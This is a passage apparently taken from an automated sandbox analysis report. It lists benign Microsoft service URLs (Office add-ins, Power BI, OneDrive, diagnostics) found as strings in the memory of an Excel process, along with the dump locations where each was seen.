Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/removeSN
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/removei
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://analysis.windows.net/powerbi/api8
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspee
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.aadrm.com
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.aadrm.com/
Source: EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886851258.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829883976.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.842980218.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843787373.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847529633.0000000012A13000.00000004.00000001.sdmp String found in binary or memory: https://api.addihO
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.addins.omex.office.net/appstate/queryEX
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.addins.store.office.com/app/queryl
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplatebW
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.cortana.ai
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.diagnostics.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.diagnostics.office.comA
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: EXCEL.EXE, 00000000.00000002.982062545.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656095068.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886851258.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829883976.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.842980218.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843787373.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847529633.0000000012A13000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.microsoftstream.com/api/Wk
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.office.net
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://api.office.net4
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://api.office.net9
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://api.office.netG
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://api.office.netT
Source: EXCEL.EXE, 00000000.00000003.656095068.0000000012A13000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.onedrive.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.onedrive.comce
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasetsY
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groupsH
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://apis.live.net/v5.0/
